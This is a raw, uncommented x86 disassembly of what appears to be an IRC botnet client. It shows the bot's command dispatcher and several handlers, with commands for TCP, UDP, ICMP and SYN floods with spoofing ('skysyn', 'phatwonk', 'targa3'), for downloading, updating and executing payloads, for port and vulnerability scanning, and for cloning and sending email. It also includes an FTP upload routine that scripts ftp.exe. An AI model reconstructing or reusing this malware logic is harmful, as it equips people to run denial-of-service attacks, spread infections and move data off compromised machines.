loc_4061F6: ; CODE XREF: .nsp0:00405F68j
push edi
push offset aCapture ; "capture"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408D3A
push edi
push offset aCap ; "cap"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408D3A
push edi
push offset aGethost ; "gethost"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408C4C
push edi
push offset aGh ; "gh"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408C4C
loc_40624A: ; CODE XREF: .nsp0:004057A2j
; .nsp0:004057D1j ...
mov edi, [ebp+esi-88h]
cmp edi, ebx
mov [ebp+28h], edi
jz loc_401D6C
push dword ptr [ebp+10h]
push offset aKilllog ; "killlog"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408C32
push dword ptr [ebp+10h]
push offset aKl ; "kl"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408C32
push dword ptr [ebp+10h]
push offset aAddalias ; "addalias"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408BF1
push dword ptr [ebp+10h]
push offset aAa ; "aa"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408BF1
push dword ptr [ebp+10h]
push offset aPrivmsg_0 ; "privmsg"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408B97
push dword ptr [ebp+10h]
push offset dword_4321D4
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408B97
push dword ptr [ebp+10h]
push offset aAction ; "action"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408B25
push dword ptr [ebp+10h]
push offset aA_0 ; "a"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408B25
push dword ptr [ebp+10h]
push offset aCycle ; "cycle"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408AC1
push dword ptr [ebp+10h]
push offset aCy ; "cy"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408AC1
push dword ptr [ebp+10h]
push offset aMode ; "mode"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408A83
push dword ptr [ebp+10h]
push offset aM_1 ; "m"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408A83
push dword ptr [ebp+10h]
push offset aC_raw ; "c_raw"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408A17
push dword ptr [ebp+10h]
push offset aC_r ; "c_r"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408A17
push dword ptr [ebp+10h]
push offset aC_mode ; "c_mode"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408994
push dword ptr [ebp+10h]
push offset aC_m ; "c_m"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408994
push dword ptr [ebp+10h]
push offset aC_nick ; "c_nick"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408927
push dword ptr [ebp+10h]
push offset aC_n ; "c_n"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408927
push dword ptr [ebp+10h]
push offset aC_join ; "c_join"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408901
push dword ptr [ebp+10h]
push offset aC_j ; "c_j"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408901
push dword ptr [ebp+10h]
push offset aC_part ; "c_part"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40889D
push dword ptr [ebp+10h]
push offset aC_p ; "c_p"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40889D
push dword ptr [ebp+10h]
push offset aTarga3 ; "targa3"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4087CB
push dword ptr [ebp+10h]
push offset aT3 ; "t3"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4087CB
push dword ptr [ebp+10h]
push offset aTsunami ; "tsunami"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4086D3
push dword ptr [ebp+10h]
push offset aTsn ; "tsn"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4086D3
push dword ptr [ebp+10h]
push offset aRepeat ; "repeat"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4085FF
push dword ptr [ebp+10h]
push offset aRp ; "rp"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4085FF
push dword ptr [ebp+10h]
push offset aDelay ; "delay"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408562
push dword ptr [ebp+10h]
push offset aDe ; "de"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408562
push dword ptr [ebp+10h]
push offset aUpdate ; "update"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4083D7
push dword ptr [ebp+10h]
push offset aU11p ; "u11p"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4083D7
push dword ptr [ebp+10h]
push offset aExecute ; "execute"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408344
push dword ptr [ebp+10h]
push offset aE ; "e"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408344
push dword ptr [ebp+10h]
push offset aFindfile ; "findfile"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408238
push dword ptr [ebp+10h]
push offset aFf ; "ff"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408238
push dword ptr [ebp+10h]
push offset aRename ; "rename"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4081C2
push dword ptr [ebp+10h]
push offset aMv ; "mv"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4081C2
push dword ptr [ebp+10h]
push offset aIcmpflood ; "icmpflood"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4080CB
push dword ptr [ebp+10h]
push offset aIcmp ; "icmp"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4080CB
mov eax, [ebp+esi-84h]
cmp eax, ebx
mov [ebp+8], eax
jz loc_401D6C
push dword ptr [ebp+10h]
push offset aClone_0 ; "clone"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_407FE3
push dword ptr [ebp+10h]
push offset aC ; "c"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_407FE3
push dword ptr [ebp+10h]
push offset aUsa_syn ; "usa.syn"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_407EEA
push dword ptr [ebp+10h]
push offset aUsa_ack ; "usa.ack"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_407EEA
push dword ptr [ebp+10h]
push offset aUsa_rm ; "usa.rm"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_407EEA
push dword ptr [ebp+10h]
push offset aWisdom_udp ; "wisdom.udp"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_40675D
push 7Fh
lea eax, [ebp-327Ch]
pop esi
push esi
push dword ptr [ebp+18h]
push eax
call sub_41BCA0
push esi
lea eax, [ebp-31FCh]
push edi
push eax
call sub_41BCA0
push esi
lea eax, [ebp-317Ch]
push dword ptr [ebp+8]
push eax
call sub_41BCA0
push esi
lea eax, [ebp-30FCh]
push dword ptr [ebp-88h]
push eax
call sub_41BCA0
mov eax, [ebp-8]
mov edi, [ebp-4]
mov esi, [ebp+0Ch]
mov [ebp-3074h], eax
push ebx
lea eax, [ebp-2C0h]
push 13h
push eax
mov [ebp-3078h], edi
mov [ebp-3280h], esi
call sub_40B00E
add esp, 3Ch
mov [ebp-307Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-3280h]
push ebx
push eax
push offset dword_414CC0
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-307Ch]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_40674C
loc_406736: ; CODE XREF: .nsp0:0040674Aj
cmp [ebp-3070h], ebx
jnz loc_403ED6
push 32h
call dword_427064 ; Sleep
jmp short loc_406736
; ---------------------------------------------------------------------------
loc_40674C: ; CODE XREF: .nsp0:00406734j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_4319D0
jmp loc_403EC7
; ---------------------------------------------------------------------------
loc_40675D: ; CODE XREF: .nsp0:0040668Aj
push dword ptr [ebp+10h]
push offset aSyod ; "syod"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_407E02
push dword ptr [ebp+10h]
push offset aSy1 ; "sy1"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_407E02
push dword ptr [ebp+10h]
push offset aSkysyn ; "skysyn"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_40688A
push 7Fh
lea eax, [ebp-36A4h]
pop esi
push esi
push dword ptr [ebp+18h]
push eax
call sub_41BCA0
push esi
lea eax, [ebp-3624h]
push edi
push eax
call sub_41BCA0
push esi
lea eax, [ebp-35A4h]
push dword ptr [ebp+8]
push eax
call sub_41BCA0
push esi
lea eax, [ebp-3524h]
push dword ptr [ebp-88h]
push eax
call sub_41BCA0
push dword ptr [ebp+8]
mov eax, [ebp-4]
mov esi, [ebp+0Ch]
mov [ebp-34A0h], eax
mov eax, [ebp-8]
push edi
push dword ptr [ebp+18h]
mov [ebp-349Ch], eax
lea eax, [ebp-2C0h]
mov [ebp-36A8h], esi
push offset dword_43198C
push eax
call sub_41BF36
add esp, 44h
lea eax, [ebp-2C0h]
push ebx
push 10h
push eax
call sub_40B00E
add esp, 0Ch
mov [ebp-34A4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-36A8h]
push ebx
push eax
push offset byte_413C25
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-34A4h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_406879
loc_406863: ; CODE XREF: .nsp0:00406877j
cmp [ebp-3498h], ebx
jnz loc_407202
push 32h
call dword_427064 ; Sleep
jmp short loc_406863
; ---------------------------------------------------------------------------
loc_406879: ; CODE XREF: .nsp0:00406861j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset dword_431950
jmp loc_4071F3
; ---------------------------------------------------------------------------
loc_40688A: ; CODE XREF: .nsp0:0040679Cj
push dword ptr [ebp+10h]
push offset aPhatwonk ; "phatwonk"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_407D1A
push dword ptr [ebp+10h]
push offset aWonk ; "wonk"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_407D1A
push dword ptr [ebp+10h]
push offset aDownload1 ; "download1"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_407BDF
push dword ptr [ebp+10h]
push offset aD1 ; "d1"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_407BDF
push dword ptr [ebp+10h]
push offset aRedirect ; "redirect"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_407AE5
push dword ptr [ebp+10h]
push offset aRd ; "rd"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_407AE5
push dword ptr [ebp+10h]
push offset aScan ; "scan"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4079F2
push dword ptr [ebp+10h]
push offset aSc ; "sc"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4079F2
push dword ptr [ebp+10h]
push offset aC_privmsg ; "c_privmsg"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_407915
push dword ptr [ebp+10h]
push offset aC_pm ; "c_pm"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_407915
push dword ptr [ebp+10h]
push offset aC_action ; "c_action"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4077FB
push dword ptr [ebp+10h]
push offset aC_a ; "c_a"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4077FB
mov eax, [ebp+esi-80h]
cmp eax, ebx
mov [ebp+20h], eax
jz loc_401D6C
push dword ptr [ebp+10h]
push offset aPortscan ; "portscan"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4076F5
push dword ptr [ebp+10h]
push offset aPsc ; "psc"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4076F5
push dword ptr [ebp+10h]
push offset aAdvscan ; "advscan"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_407222
push dword ptr [ebp+10h]
push offset aVv ; "vv"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_407222
push dword ptr [ebp+10h]
push offset aUdpflood ; "udpflood"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4070DC
push dword ptr [ebp+10h]
push offset aPu1 ; "pu1"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4070DC
push dword ptr [ebp+10h]
push offset aU ; "u"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4070DC
push dword ptr [ebp+10h]
push offset aNetsend ; "netsend"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_406FCE
push dword ptr [ebp+10h]
push offset aNs ; "ns"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_406FCE
push dword ptr [ebp+10h]
push offset aPingflood ; "pingflood"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_406EA7
push dword ptr [ebp+10h]
push offset aPing_0 ; "ping"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_406EA7
push dword ptr [ebp+10h]
push offset aP ; "p"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_406EA7
push dword ptr [ebp+10h]
push offset aTcpflood ; "tcpflood"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_406CF5
push dword ptr [ebp+10h]
push offset aUsa ; "usa"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_406CF5
push dword ptr [ebp+10h]
push offset aEmail ; "email"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_406C9D
push dword ptr [ebp+18h]
lea eax, [ebp-47ECh]
push eax
call sub_41C550
push edi
call sub_41BE29
push dword ptr [ebp+8]
mov [ebp+18h], eax
lea eax, [ebp-4188h]
push eax
call sub_41C550
push dword ptr [ebp+20h]
lea eax, [ebp-4588h]
push eax
call sub_41C550
push offset asc_43368C ; " "
push offset dword_4321D0
push dword ptr [ebp+esi-7Ch]
call sub_41869A
push eax
lea eax, [ebp-4288h]
push eax
call sub_41C550
add esp, 30h
lea eax, [ebp-5588h]
push eax
push 101h
call dword_4D1160 ; WSAStartup
lea eax, [ebp-47ECh]
push eax
call dword_4D1274 ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call dword_4D1270 ; socket
push dword ptr [ebp+18h]
mov esi, eax
mov word ptr [ebp-31Ch], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp-318h], eax
call dword_4D11F0 ; ntohs
mov [ebp-31Ah], ax
lea eax, [ebp-4288h]
push eax
lea eax, [ebp-4188h]
push eax
lea eax, [ebp-4288h]
push eax
lea eax, [ebp-4588h]
push eax
lea eax, [ebp-4188h]
push eax
lea eax, [ebp-5988h]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41BF36
add esp, 1Ch
lea eax, [ebp-31Ch]
push 10h
push eax
push esi
call dword_4D1198 ; connect
mov edi, 100h
push ebx
lea eax, [ebp-4088h]
push edi
push eax
push esi
call dword_4D1208 ; recv
lea eax, [ebp-4088h]
push ebx
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp-5988h]
push eax
push esi
call dword_4D1240 ; send
push ebx
lea eax, [ebp-4088h]
push edi
push eax
push esi
call dword_4D1208 ; recv
push esi
call dword_4D1288 ; closesocket
call dword_4D1148 ; WSACleanup
lea eax, [ebp-4588h]
push eax
push offset unk_431824
loc_406C56: ; CODE XREF: .nsp0:00404979j
; .nsp0:004080C6j ...
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
loc_406C62: ; CODE XREF: .nsp0:00403F53j
add esp, 0Ch
loc_406C65: ; CODE XREF: .nsp0:00405F8Bj
; .nsp0:00405FE3j ...
cmp [ebp-8], ebx
jnz short loc_406C86
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 14h
loc_406C86: ; CODE XREF: .nsp0:0040447Fj
; .nsp0:004044D2j ...
mov esi, [ebp+2Ch]
loc_406C89: ; CODE XREF: .nsp0:0040833Fj
; .nsp0:0040931Fj ...
lea eax, [ebp-2C0h]
push eax
call sub_4157A6
pop ecx
mov eax, esi
jmp loc_401D6F
; ---------------------------------------------------------------------------
loc_406C9D: ; CODE XREF: .nsp0:00406B00j
push dword ptr [ebp+10h]
push offset aHttpcon ; "httpcon"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_406CC7
push dword ptr [ebp+10h]
push offset aHcon ; "hcon"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_407272
loc_406CC7: ; CODE XREF: .nsp0:00406CAEj
push dword ptr [ebp+esi-7Ch]
push dword ptr [ebp+20h]
push dword ptr [ebp+8]
push edi
call sub_41BE29
pop ecx
push eax
push dword ptr [ebp+18h]
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_41088B
jmp loc_4097B5
; ---------------------------------------------------------------------------
loc_406CF5: ; CODE XREF: .nsp0:00406AD2j
; .nsp0:00406AE9j
push dword ptr [ebp+18h]
mov esi, 80h
lea eax, [ebp-1354h]
push esi
push eax
call sub_41C030
lea eax, [ebp-1354h]
push eax
push offset aSy1 ; "sy1"
call sub_41C710
add esp, 14h
test eax, eax
jz short loc_406D5A
lea eax, [ebp-1354h]
push eax
push offset aAck ; "ack"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_406D5A
lea eax, [ebp-1354h]
push eax
push offset aRandom_0 ; "random"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_406D5A
push offset unk_4317E4
jmp loc_406E94
; ---------------------------------------------------------------------------
loc_406D5A: ; CODE XREF: .nsp0:00406D20j
; .nsp0:00406D37j ...
push dword ptr [ebp+20h]
call sub_41BE29
cmp eax, ebx
pop ecx
mov [ebp-124Ch], eax
jle loc_406E8F
push dword ptr [ebp+18h]
lea eax, [ebp-1354h]
push esi
push eax
call sub_41C030
push edi
lea eax, [ebp-13D4h]
push esi
push eax
call sub_41C030
push dword ptr [ebp+8]
call sub_41BE29
mov [ebp-1250h], eax
xor eax, eax
cmp [ebp-8EEh], bl
push dword ptr [ebp-88h]
setnz al
mov [ebp-1248h], eax
mov eax, [ebp+0Ch]
mov [ebp-13D8h], eax
lea eax, [ebp-12D4h]
push esi
push eax
call sub_41C030
mov eax, [ebp-4]
add esp, 28h
cmp [ebp-1248h], ebx
mov [ebp-1244h], eax
mov eax, [ebp-8]
mov [ebp-1240h], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_406DF1
mov eax, offset aNormal ; "Normal"
loc_406DF1: ; CODE XREF: .nsp0:00406DEAj
push dword ptr [ebp+20h]
push dword ptr [ebp+8]
push edi
push dword ptr [ebp+18h]
push eax
push offset unk_4317A0
lea eax, [ebp-2C0h]
push 200h
push eax
call sub_41C030
push ebx
lea eax, [ebp-2C0h]
push 14h
push eax
call sub_40B00E
add esp, 2Ch
mov [ebp-1254h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-13D8h]
push ebx
push eax
push offset dword_41442C
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-1254h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_406E6F
loc_406E59: ; CODE XREF: .nsp0:00406E6Dj
cmp [ebp-123Ch], ebx
jnz loc_40820E
push 32h
call dword_427064 ; Sleep
jmp short loc_406E59
; ---------------------------------------------------------------------------
loc_406E6F: ; CODE XREF: .nsp0:00406E57j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_431768
loc_406E7B: ; CODE XREF: .nsp0:00403C1Dj
; .nsp0:004049CEj ...
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
loc_406E87: ; CODE XREF: .nsp0:00406FC9j
add esp, 0Ch
jmp loc_40820E
; ---------------------------------------------------------------------------
loc_406E8F: ; CODE XREF: .nsp0:00406D6Bj
push offset unk_431730
loc_406E94: ; CODE XREF: .nsp0:00403AE6j
; .nsp0:00403AFCj ...
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
pop ecx
pop ecx
jmp loc_40820E
; ---------------------------------------------------------------------------
loc_406EA7: ; CODE XREF: .nsp0:00406A8Dj
; .nsp0:00406AA4j ...
cmp dword_4D12E0, ebx
jnz loc_406FB3
mov eax, [ebp-8]
push 7Fh
push dword ptr [ebp+18h]
mov [ebp-0FF4h], eax
mov eax, [ebp-4]
mov [ebp-0FF8h], eax
lea eax, [ebp-108Ch]
push eax
call sub_41BCA0
push edi
call sub_41BE29
push dword ptr [ebp+8]
mov [ebp-100Ch], eax
call sub_41BE29
push dword ptr [ebp+20h]
mov [ebp-1008h], eax
call sub_41BE29
push 7Fh
mov [ebp-1004h], eax
push dword ptr [ebp-88h]
lea eax, [ebp-110Ch]
push eax
call sub_41BCA0
push dword ptr [ebp-1004h]
mov eax, [ebp+0Ch]
mov [ebp-1110h], eax
lea eax, [ebp-108Ch]
push dword ptr [ebp-1008h]
push eax
lea eax, [ebp-2C0h]
push dword ptr [ebp-100Ch]
push offset unk_4316E8
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 16h
push eax
call sub_40B00E
add esp, 48h
mov [ebp-0FFCh], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-1110h]
push ebx
push eax
push offset byte_413883
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-0FFCh]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_406FA2
loc_406F8C: ; CODE XREF: .nsp0:00406FA0j
cmp [ebp-0FF0h], ebx
jnz loc_40820E
push 32h
call dword_427064 ; Sleep
jmp short loc_406F8C
; ---------------------------------------------------------------------------
loc_406FA2: ; CODE XREF: .nsp0:00406F8Aj
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_4316B0
jmp loc_406E7B
; ---------------------------------------------------------------------------
loc_406FB3: ; CODE XREF: .nsp0:00406EADj
push 1FFh
lea eax, [ebp-2C0h]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_41BCA0
jmp loc_406E87
; ---------------------------------------------------------------------------
loc_406FCE: ; CODE XREF: .nsp0:00406A5Fj
; .nsp0:00406A76j
push edi
lea eax, [ebp-2C0h]
push dword ptr [ebp+18h]
push dword ptr [ebp+8]
push offset unk_43165C
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
push dword ptr [ebp+8]
call sub_41B890
mov edx, eax
push edi
mov edi, edx
call sub_41B890
push dword ptr [ebp+18h]
add edi, eax
call sub_41B890
push dword ptr [ebp+10h]
add edi, eax
call sub_41B890
add eax, [ebp-0Ch]
push dword ptr [ebp+20h]
lea eax, [eax+edi+7]
push eax
call sub_41BFB0
add esp, 40h
mov [ebp+14h], eax
push dword ptr [ebp+8]
call sub_41BE29
mov edi, [ebp+28h]
cmp eax, ebx
pop ecx
mov [ebp+1Ch], eax
mov [ebp+24h], ebx
jle short loc_4070C8
loc_407051: ; CODE XREF: .nsp0:00407075j
push dword ptr [ebp+14h]
push edi
push dword ptr [ebp+18h]
call sub_418E3D
add esp, 0Ch
cmp eax, 1
mov [ebp+28h], eax
jz short loc_407079
cmp eax, ebx
jnz short loc_407098
inc dword ptr [ebp+24h]
mov eax, [ebp+24h]
cmp eax, [ebp+1Ch]
jl short loc_407051
jmp short loc_4070D1
; ---------------------------------------------------------------------------
loc_407079: ; CODE XREF: .nsp0:00407066j
push ebx
push dword ptr [ebp-4]
push offset unk_431624
loc_407082: ; CODE XREF: .nsp0:004070DAj
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 14h
jmp loc_407272
; ---------------------------------------------------------------------------
loc_407098: ; CODE XREF: .nsp0:0040706Aj
push dword ptr [ebp+28h]
lea eax, [ebp-2C0h]
push offset unk_4315F0
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 20h
loc_4070C8: ; CODE XREF: .nsp0:0040704Fj
cmp [ebp+28h], ebx
jnz loc_407272
loc_4070D1: ; CODE XREF: .nsp0:00407077j
push ebx
push dword ptr [ebp-4]
push offset unk_4315BC
jmp short loc_407082
; ---------------------------------------------------------------------------
loc_4070DC: ; CODE XREF: .nsp0:00406A1Aj
; .nsp0:00406A31j ...
mov eax, [ebp-8]
push 7Fh
push dword ptr [ebp+18h]
mov [ebp-0C64h], eax
mov eax, [ebp-4]
mov [ebp-0C68h], eax
lea eax, [ebp-0CFCh]
push eax
call sub_41BCA0
push edi
call sub_41BE29
push dword ptr [ebp+8]
mov [ebp-0C7Ch], eax
call sub_41BE29
push dword ptr [ebp+20h]
mov [ebp-0C78h], eax
call sub_41BE29
mov esi, [ebp+esi-7Ch]
add esp, 18h
cmp esi, ebx
mov [ebp-0C74h], eax
jz short loc_407141
push esi
call sub_41BE29
pop ecx
mov [ebp-0C70h], eax
jmp short loc_407147
; ---------------------------------------------------------------------------
loc_407141: ; CODE XREF: .nsp0:00407130j
mov [ebp-0C70h], ebx
loc_407147: ; CODE XREF: .nsp0:0040713Fj
push 7Fh
lea eax, [ebp-0D7Ch]
push dword ptr [ebp-88h]
push eax
call sub_41BCA0
push dword ptr [ebp-0C74h]
mov esi, [ebp+0Ch]
lea eax, [ebp-0CFCh]
mov [ebp-0D80h], esi
push dword ptr [ebp-0C78h]
push eax
lea eax, [ebp-2C0h]
push dword ptr [ebp-0C7Ch]
push offset unk_431574
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 17h
push eax
call sub_40B00E
add esp, 30h
mov [ebp-0C6Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-0D80h]
push ebx
push eax
push offset byte_413A0F
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-0C6Ch]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_4071E7
loc_4071D5: ; CODE XREF: .nsp0:004071E5j
cmp [ebp-0C60h], ebx
jnz short loc_407202
push 32h
call dword_427064 ; Sleep
jmp short loc_4071D5
; ---------------------------------------------------------------------------
loc_4071E7: ; CODE XREF: .nsp0:004071D3j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_43153C
loc_4071F3: ; CODE XREF: .nsp0:00406885j
; .nsp0:00407D15j ...
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
add esp, 0Ch
loc_407202: ; CODE XREF: .nsp0:00406869j
; .nsp0:004071DBj ...
cmp [ebp-8], ebx
jnz loc_40833C
push ebx
push dword ptr [ebp-4]
loc_40720F: ; CODE XREF: .nsp0:00403EE1j
lea eax, [ebp-2C0h]
push eax
push dword ptr [ebp-88h]
push esi
jmp loc_40822B
; ---------------------------------------------------------------------------
loc_407222: ; CODE XREF: .nsp0:004069ECj
; .nsp0:00406A03j
push 0Bh
call sub_40B256
push edi
mov [ebp+24h], eax
call sub_41BE29
add eax, [ebp+24h]
pop ecx
pop ecx
cmp eax, 1F4h
jle loc_4073EA
push dword ptr [ebp+24h]
lea eax, [ebp-2C0h]
push offset unk_4314FC
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 20h
loc_407272: ; CODE XREF: .nsp0:00406CC1j
; .nsp0:00407093j ...
mov esi, [ebp+esi-7Ch]
cmp esi, ebx
jz loc_401D6C
push dword ptr [ebp+10h]
push offset aUpload ; "upload"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_4097B8
push 4
push esi
call sub_416F11
pop ecx
test eax, eax
pop ecx
jnz short loc_4072BD
push esi
push offset unk_4314DC
loc_4072A9: ; CODE XREF: .nsp0:00409570j
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
add esp, 0Ch
jmp loc_409588
; ---------------------------------------------------------------------------
loc_4072BD: ; CODE XREF: .nsp0:004072A1j
call dword_4270A8 ; GetTickCount
push eax
call sub_41BF88
pop ecx
call sub_41BF92
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41BF92
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41BF92
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp-51F8h]
push edx
push eax
lea eax, [ebp-2E58h]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41BF36
lea eax, [ebp-2E58h]
push offset aAb ; "ab"
push eax
call sub_41BBB8
add esp, 20h
cmp eax, ebx
mov [ebp+2Ch], eax
jz loc_401D6C
push esi
push dword ptr [ebp+20h]
push dword ptr [ebp+8]
push edi
push dword ptr [ebp+18h]
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41C49F
push dword ptr [ebp+2Ch]
call sub_41B90B
lea eax, [ebp-2E58h]
push eax
lea eax, [ebp-4CF0h]
push offset aSS_3 ; "-s:%s"
push eax
call sub_41BF36
add esp, 2Ch
lea eax, [ebp-4CF0h]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
